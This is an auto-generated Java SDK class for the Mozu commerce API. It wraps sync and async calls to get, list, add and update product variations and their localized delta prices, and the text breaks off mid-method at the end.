text:
/**
 *     This code was auto-generated by a Codezu.
 *
 *     Changes to this file may cause incorrect behavior and will be lost if
 *     the code is regenerated.
 */
package com.mozu.api.resources.commerce.catalog.admin.products;

import com.mozu.api.ApiContext;
import java.util.List;
import java.util.ArrayList;
import com.mozu.api.MozuClient;
import com.mozu.api.MozuClientFactory;
import com.mozu.api.MozuUrl;
import com.mozu.api.Headers;
import com.mozu.api.AsyncCallback;
import java.util.concurrent.CountDownLatch;
import com.mozu.api.security.AuthTicket;
import org.apache.commons.lang.StringUtils;

import com.mozu.api.DataViewMode;
/**
 * Use the product variations sub-resource to manage the variations of a product based on its attributes. For example, a t-shirt product could be offered in six variations: Small Black, Medium Black, Large Black, Small White, Medium White, and Large White.
 *
 */
public class ProductVariationResource {
	///
	/// <see cref="Mozu.Api.ApiContext"/>
	///
	private ApiContext _apiContext;

	private DataViewMode _dataViewMode;

	public ProductVariationResource(ApiContext apiContext)
	{
		_apiContext = apiContext;
		_dataViewMode = DataViewMode.Live;
	}

	public ProductVariationResource(ApiContext apiContext, DataViewMode dataViewMode)
	{
		_apiContext = apiContext;
		_dataViewMode = dataViewMode;
	}

	/**
	 * Retrieves a collection of the localized delta price values for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariationDeltaPrice productVariationDeltaPrice = productvariation.getProductVariationLocalizedDeltaPrices( productCode,  variationKey);
	 *

	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @return List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice>
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> getProductVariationLocalizedDeltaPrices(String productCode, String variationKey) throws Exception
	{
		MozuClient<List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice>> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.getProductVariationLocalizedDeltaPricesClient(_dataViewMode,  productCode,  variationKey);
		client.setContext(_apiContext);
		client.executeRequest();
		return client.getResult();

	}

	/**
	 * Retrieves a collection of the localized delta price values for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.getProductVariationLocalizedDeltaPrices( productCode,  variationKey, callback );
	 *	latch.await()	 *

	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param  callback callback handler for asynchronous operations
	 * @return List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice>
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public CountDownLatch getProductVariationLocalizedDeltaPricesAsync(String productCode, String variationKey, AsyncCallback<List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice>> callback) throws Exception
	{
		MozuClient<List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice>> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.getProductVariationLocalizedDeltaPricesClient(_dataViewMode,  productCode,  variationKey);
		client.setContext(_apiContext);
		return client.executeRequest(callback);

	}

	/**
	 * Retrieves the localized delta price value for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariationDeltaPrice productVariationDeltaPrice = productvariation.getProductVariationLocalizedDeltaPrice( productCode,  variationKey,  currencyCode);
	 *

	 * @param currencyCode The three character ISO currency code, such as USD for US Dollars.
	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @return com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice getProductVariationLocalizedDeltaPrice(String productCode, String variationKey, String currencyCode) throws Exception
	{
		return getProductVariationLocalizedDeltaPrice( productCode,  variationKey,  currencyCode,  null);
	}

	/**
	 * Retrieves the localized delta price value for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.getProductVariationLocalizedDeltaPrice( productCode,  variationKey,  currencyCode, callback );
	 *	latch.await()	 *

	 * @param currencyCode The three character ISO currency code, such as USD for US Dollars.
	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param  callback callback handler for asynchronous operations
	 * @return com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public CountDownLatch getProductVariationLocalizedDeltaPriceAsync(String productCode, String variationKey, String currencyCode, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> callback) throws Exception
	{
		return getProductVariationLocalizedDeltaPriceAsync( productCode,  variationKey,  currencyCode,  null, callback);
	}

	/**
	 * Retrieves the localized delta price value for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariationDeltaPrice productVariationDeltaPrice = productvariation.getProductVariationLocalizedDeltaPrice( productCode,  variationKey,  currencyCode,  responseFields);
	 *

	 * @param currencyCode The three character ISO currency code, such as USD for US Dollars.
	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param responseFields Use this field to include those fields which are not included by default.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @return com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice getProductVariationLocalizedDeltaPrice(String productCode, String variationKey, String currencyCode, String responseFields) throws Exception
	{
		MozuClient<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.getProductVariationLocalizedDeltaPriceClient(_dataViewMode,  productCode,  variationKey,  currencyCode,  responseFields);
		client.setContext(_apiContext);
		client.executeRequest();
		return client.getResult();

	}

	/**
	 * Retrieves the localized delta price value for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.getProductVariationLocalizedDeltaPrice( productCode,  variationKey,  currencyCode,  responseFields, callback );
	 *	latch.await()	 *

	 * @param currencyCode The three character ISO currency code, such as USD for US Dollars.
	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param responseFields Use this field to include those fields which are not included by default.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param  callback callback handler for asynchronous operations
	 * @return com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public CountDownLatch getProductVariationLocalizedDeltaPriceAsync(String productCode, String variationKey, String currencyCode, String responseFields, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> callback) throws Exception
	{
		MozuClient<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.getProductVariationLocalizedDeltaPriceClient(_dataViewMode,  productCode,  variationKey,  currencyCode,  responseFields);
		client.setContext(_apiContext);
		return client.executeRequest(callback);

	}

	/**
	 * Retrieves the details of a product variation based on the supplied product code and variation key.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariation productVariation = productvariation.getProductVariation( productCode,  variationKey);
	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @return com.mozu.api.contracts.productadmin.ProductVariation
	 * @see com.mozu.api.contracts.productadmin.ProductVariation
	 */
	public com.mozu.api.contracts.productadmin.ProductVariation getProductVariation(String productCode, String variationKey) throws Exception
	{
		return getProductVariation( productCode,  variationKey,  null);
	}

	/**
	 * Retrieves the details of a product variation based on the supplied product code and variation key.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.getProductVariation( productCode,  variationKey, callback );
	 *	latch.await()	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param  callback callback handler for asynchronous operations
	 * @return com.mozu.api.contracts.productadmin.ProductVariation
	 * @see com.mozu.api.contracts.productadmin.ProductVariation
	 */
	public CountDownLatch getProductVariationAsync(String productCode, String variationKey, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariation> callback) throws Exception
	{
		return getProductVariationAsync( productCode,  variationKey,  null, callback);
	}

	/**
	 * Retrieves the details of a product variation based on the supplied product code and variation key.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariation productVariation = productvariation.getProductVariation( productCode,  variationKey,  responseFields);
	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param responseFields Use this field to include those fields which are not included by default.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @return com.mozu.api.contracts.productadmin.ProductVariation
	 * @see com.mozu.api.contracts.productadmin.ProductVariation
	 */
	public com.mozu.api.contracts.productadmin.ProductVariation getProductVariation(String productCode, String variationKey, String responseFields) throws Exception
	{
		MozuClient<com.mozu.api.contracts.productadmin.ProductVariation> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.getProductVariationClient(_dataViewMode,  productCode,  variationKey,  responseFields);
		client.setContext(_apiContext);
		client.executeRequest();
		return client.getResult();

	}

	/**
	 * Retrieves the details of a product variation based on the supplied product code and variation key.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.getProductVariation( productCode,  variationKey,  responseFields, callback );
	 *	latch.await()	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param responseFields Use this field to include those fields which are not included by default.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param  callback callback handler for asynchronous operations
	 * @return com.mozu.api.contracts.productadmin.ProductVariation
	 * @see com.mozu.api.contracts.productadmin.ProductVariation
	 */
	public CountDownLatch getProductVariationAsync(String productCode, String variationKey, String responseFields, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariation> callback) throws Exception
	{
		MozuClient<com.mozu.api.contracts.productadmin.ProductVariation> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.getProductVariationClient(_dataViewMode,  productCode,  variationKey,  responseFields);
		client.setContext(_apiContext);
		return client.executeRequest(callback);

	}

	/**
	 * Retrieves a list of the product variations configured for the specified product code.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariationPagedCollection productVariationPagedCollection = productvariation.getProductVariations( productCode);
	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @return com.mozu.api.contracts.productadmin.ProductVariationPagedCollection
	 * @see com.mozu.api.contracts.productadmin.ProductVariationPagedCollection
	 */
	public com.mozu.api.contracts.productadmin.ProductVariationPagedCollection getProductVariations(String productCode) throws Exception
	{
		return getProductVariations( productCode,  null,  null,  null,  null,  null);
	}

	/**
	 * Retrieves a list of the product variations configured for the specified product code.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.getProductVariations( productCode, callback );
	 *	latch.await()	 *

	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param  callback callback handler for asynchronous operations
	 * @return com.mozu.api.contracts.productadmin.ProductVariationPagedCollection
	 * @see com.mozu.api.contracts.productadmin.ProductVariationPagedCollection
	 */
	public CountDownLatch getProductVariationsAsync(String productCode, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariationPagedCollection> callback) throws Exception
	{
		return getProductVariationsAsync( productCode,  null,  null,  null,  null,  null, callback);
	}

	/**
	 * Retrieves a list of the product variations configured for the specified product code.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariationPagedCollection productVariationPagedCollection = productvariation.getProductVariations( productCode,  startIndex,  pageSize,  sortBy,  filter,  responseFields);
	 *

	 * @param filter A set of expressions that consist of a field, operator, and value and represent search parameter syntax when filtering results of a query. Valid operators include equals (eq), does not equal (ne), greater than (gt), less than (lt), greater than or equal to (ge), less than or equal to (le), starts with (sw), or contains (cont). For example - "filter=IsDisplayed+eq+true"
	 * @param pageSize The number of results to display on each page when creating paged results from a query. The maximum value is 200.
	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param responseFields Use this field to include those fields which are not included by default.
	 * @param sortBy The property by which to sort results and whether the results appear in ascending (a-z) order, represented by ASC or in descending (z-a) order, represented by DESC. The sortBy parameter follows an available property. For example: "sortBy=productCode+asc"
	 * @param startIndex When creating paged results from a query, this value indicates the zero-based offset in the complete result set where the returned entities begin. For example, with a PageSize of 25, to get the 51st through the 75th items, use startIndex=3.
	 * @return com.mozu.api.contracts.productadmin.ProductVariationPagedCollection
	 * @see com.mozu.api.contracts.productadmin.ProductVariationPagedCollection
	 */
	public com.mozu.api.contracts.productadmin.ProductVariationPagedCollection getProductVariations(String productCode, Integer startIndex, Integer pageSize, String sortBy, String filter, String responseFields) throws Exception
	{
		MozuClient<com.mozu.api.contracts.productadmin.ProductVariationPagedCollection> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.getProductVariationsClient(_dataViewMode,  productCode,  startIndex,  pageSize,  sortBy,  filter,  responseFields);
		client.setContext(_apiContext);
		client.executeRequest();
		return client.getResult();

	}

	/**
	 * Retrieves a list of the product variations configured for the specified product code.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.getProductVariations( productCode,  startIndex,  pageSize,  sortBy,  filter,  responseFields, callback );
	 *	latch.await()	 *

	 * @param filter A set of expressions that consist of a field, operator, and value and represent search parameter syntax when filtering results of a query. Valid operators include equals (eq), does not equal (ne), greater than (gt), less than (lt), greater than or equal to (ge), less than or equal to (le), starts with (sw), or contains (cont). For example - "filter=IsDisplayed+eq+true"
	 * @param pageSize The number of results to display on each page when creating paged results from a query. The maximum value is 200.
	 * @param productCode Merchant-created code that uniquely identifies the product such as a SKU or item number. Once created, the product code is read-only.
	 * @param responseFields Use this field to include those fields which are not included by default.
	 * @param sortBy The property by which to sort results and whether the results appear in ascending (a-z) order, represented by ASC or in descending (z-a) order, represented by DESC. The sortBy parameter follows an available property. For example: "sortBy=productCode+asc"
	 * @param startIndex When creating paged results from a query, this value indicates the zero-based offset in the complete result set where the returned entities begin. For example, with a PageSize of 25, to get the 51st through the 75th items, use startIndex=3.
	 * @param  callback callback handler for asynchronous operations
	 * @return com.mozu.api.contracts.productadmin.ProductVariationPagedCollection
	 * @see com.mozu.api.contracts.productadmin.ProductVariationPagedCollection
	 */
	public CountDownLatch getProductVariationsAsync(String productCode, Integer startIndex, Integer pageSize, String sortBy, String filter, String responseFields, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariationPagedCollection> callback) throws Exception
	{
		MozuClient<com.mozu.api.contracts.productadmin.ProductVariationPagedCollection> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.getProductVariationsClient(_dataViewMode,  productCode,  startIndex,  pageSize,  sortBy,  filter,  responseFields);
		client.setContext(_apiContext);
		return client.executeRequest(callback);

	}

	/**
	 * Adds the localized delta price value for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariationDeltaPrice productVariationDeltaPrice = productvariation.addProductVariationLocalizedDeltaPrice( localizedDeltaPrice,  productCode,  variationKey);
	 *

	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param localizedDeltaPrice The difference between the base price for the product and this variation of the product, which can be a positive or negative decimal value. For example, if the base price for a t-shirt product is $10, but the XL variation should cost $12, the DeltaPrice value should be "2". However, if the XS variation should only cost $8, the DeltaPrice value should be "-2".
	 * @return com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice addProductVariationLocalizedDeltaPrice(com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice localizedDeltaPrice, String productCode, String variationKey) throws Exception
	{
		return addProductVariationLocalizedDeltaPrice( localizedDeltaPrice,  productCode,  variationKey,  null);
	}

	/**
	 * Adds the localized delta price value for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.addProductVariationLocalizedDeltaPrice( localizedDeltaPrice,  productCode,  variationKey, callback );
	 *	latch.await()	 *

	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param  callback callback handler for asynchronous operations
	 * @param localizedDeltaPrice The difference between the base price for the product and this variation of the product, which can be a positive or negative decimal value. For example, if the base price for a t-shirt product is $10, but the XL variation should cost $12, the DeltaPrice value should be "2". However, if the XS variation should only cost $8, the DeltaPrice value should be "-2".
	 * @return com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public CountDownLatch addProductVariationLocalizedDeltaPriceAsync(com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice localizedDeltaPrice, String productCode, String variationKey, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> callback) throws Exception
	{
		return addProductVariationLocalizedDeltaPriceAsync( localizedDeltaPrice,  productCode,  variationKey,  null, callback);
	}

	/**
	 * Adds the localized delta price value for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariationDeltaPrice productVariationDeltaPrice = productvariation.addProductVariationLocalizedDeltaPrice( localizedDeltaPrice,  productCode,  variationKey,  responseFields);
	 *

	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param responseFields Use this field to include those fields which are not included by default.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param localizedDeltaPrice The difference between the base price for the product and this variation of the product, which can be a positive or negative decimal value. For example, if the base price for a t-shirt product is $10, but the XL variation should cost $12, the DeltaPrice value should be "2". However, if the XS variation should only cost $8, the DeltaPrice value should be "-2".
	 * @return com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice addProductVariationLocalizedDeltaPrice(com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice localizedDeltaPrice, String productCode, String variationKey, String responseFields) throws Exception
	{
		MozuClient<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.addProductVariationLocalizedDeltaPriceClient(_dataViewMode,  localizedDeltaPrice,  productCode,  variationKey,  responseFields);
		client.setContext(_apiContext);
		client.executeRequest();
		return client.getResult();

	}

	/**
	 * Adds the localized delta price value for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.addProductVariationLocalizedDeltaPrice( localizedDeltaPrice,  productCode,  variationKey,  responseFields, callback );
	 *	latch.await()	 *

	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param responseFields Use this field to include those fields which are not included by default.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param  callback callback handler for asynchronous operations
	 * @param localizedDeltaPrice The difference between the base price for the product and this variation of the product, which can be a positive or negative decimal value. For example, if the base price for a t-shirt product is $10, but the XL variation should cost $12, the DeltaPrice value should be "2". However, if the XS variation should only cost $8, the DeltaPrice value should be "-2".
	 * @return com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public CountDownLatch addProductVariationLocalizedDeltaPriceAsync(com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice localizedDeltaPrice, String productCode, String variationKey, String responseFields, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> callback) throws Exception
	{
		MozuClient<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.addProductVariationLocalizedDeltaPriceClient(_dataViewMode,  localizedDeltaPrice,  productCode,  variationKey,  responseFields);
		client.setContext(_apiContext);
		return client.executeRequest(callback);

	}

	/**
	 * Updates all localized delta price values for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariationDeltaPrice productVariationDeltaPrice = productvariation.updateProductVariationLocalizedDeltaPrices( localizedDeltaPrice,  productCode,  variationKey);
	 *

	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param localizedDeltaPrice The difference between the base price for the product and this variation of the product, which can be a positive or negative decimal value. For example, if the base price for a t-shirt product is $10, but the XL variation should cost $12, the DeltaPrice value should be "2". However, if the XS variation should only cost $8, the DeltaPrice value should be "-2".
	 * @return List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice>
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> updateProductVariationLocalizedDeltaPrices(List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> localizedDeltaPrice, String productCode, String variationKey) throws Exception
	{
		MozuClient<List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice>> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.updateProductVariationLocalizedDeltaPricesClient(_dataViewMode,  localizedDeltaPrice,  productCode,  variationKey);
		client.setContext(_apiContext);
		client.executeRequest();
		return client.getResult();

	}

	/**
	 * Updates all localized delta price values for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.updateProductVariationLocalizedDeltaPrices( localizedDeltaPrice,  productCode,  variationKey, callback );
	 *	latch.await()	 *

	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param  callback callback handler for asynchronous operations
	 * @param localizedDeltaPrice The difference between the base price for the product and this variation of the product, which can be a positive or negative decimal value. For example, if the base price for a t-shirt product is $10, but the XL variation should cost $12, the DeltaPrice value should be "2". However, if the XS variation should only cost $8, the DeltaPrice value should be "-2".
	 * @return List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice>
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public CountDownLatch updateProductVariationLocalizedDeltaPricesAsync(List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> localizedDeltaPrice, String productCode, String variationKey, AsyncCallback<List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice>> callback) throws Exception
	{
		MozuClient<List<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice>> client = com.mozu.api.clients.commerce.catalog.admin.products.ProductVariationClient.updateProductVariationLocalizedDeltaPricesClient(_dataViewMode,  localizedDeltaPrice,  productCode,  variationKey);
		client.setContext(_apiContext);
		return client.executeRequest(callback);

	}

	/**
	 * Updatesthe localized delta price value for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariationDeltaPrice productVariationDeltaPrice = productvariation.updateProductVariationLocalizedDeltaPrice( localizedDeltaPrice,  productCode,  variationKey,  currencyCode);
	 *

	 * @param currencyCode The three character ISO currency code, such as USD for US Dollars.
	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param localizedDeltaPrice The difference between the base price for the product and this variation of the product, which can be a positive or negative decimal value. For example, if the base price for a t-shirt product is $10, but the XL variation should cost $12, the DeltaPrice value should be "2". However, if the XS variation should only cost $8, the DeltaPrice value should be "-2".
	 * @return com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice updateProductVariationLocalizedDeltaPrice(com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice localizedDeltaPrice, String productCode, String variationKey, String currencyCode) throws Exception
	{
		return updateProductVariationLocalizedDeltaPrice( localizedDeltaPrice,  productCode,  variationKey,  currencyCode,  null);
	}

	/**
	 * Updatesthe localized delta price value for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	CountDownLatch latch = productvariation.updateProductVariationLocalizedDeltaPrice( localizedDeltaPrice,  productCode,  variationKey,  currencyCode, callback );
	 *	latch.await()	 *

	 * @param currencyCode The three character ISO currency code, such as USD for US Dollars.
	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param  callback callback handler for asynchronous operations
	 * @param localizedDeltaPrice The difference between the base price for the product and this variation of the product, which can be a positive or negative decimal value. For example, if the base price for a t-shirt product is $10, but the XL variation should cost $12, the DeltaPrice value should be "2". However, if the XS variation should only cost $8, the DeltaPrice value should be "-2".
	 * @return com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public CountDownLatch updateProductVariationLocalizedDeltaPriceAsync(com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice localizedDeltaPrice, String productCode, String variationKey, String currencyCode, AsyncCallback<com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice> callback) throws Exception
	{
		return updateProductVariationLocalizedDeltaPriceAsync( localizedDeltaPrice,  productCode,  variationKey,  currencyCode,  null, callback);
	}

	/**
	 * Updatesthe localized delta price value for a product variation. Localized delta prices are deltas between two differing monetary conversion amounts between countries, such as US Dollar vs Euro.
	 *

	 *	ProductVariation productvariation = new ProductVariation();
	 *	ProductVariationDeltaPrice productVariationDeltaPrice = productvariation.updateProductVariationLocalizedDeltaPrice( localizedDeltaPrice,  productCode,  variationKey,  currencyCode,  responseFields);
	 *

	 * @param currencyCode The three character ISO currency code, such as USD for US Dollars.
	 * @param productCode The unique, user-defined product code of a product, used throughout Mozu to reference and associate to a product.
	 * @param responseFields Use this field to include those fields which are not included by default.
	 * @param variationKey System-generated key that represents the attribute values that uniquely identify a specific product variation.
	 * @param localizedDeltaPrice The difference between the base price for the product and this variation of the product, which can be a positive or negative decimal value. For example, if the base price for a t-shirt product is $10, but the XL variation should cost $12, the DeltaPrice value should be "2". However, if the XS variation should only cost $8, the DeltaPrice value should be "-2".
	 * @return com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 * @see com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice
	 */
	public com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice updateProductVariationLocalizedDeltaPrice(com.mozu.api.contracts.productadmin.ProductVariationDeltaPrice localizedDeltaPrice, String productCode, String variationKey, String currencyCode, String responseFields) throws Exception
	{
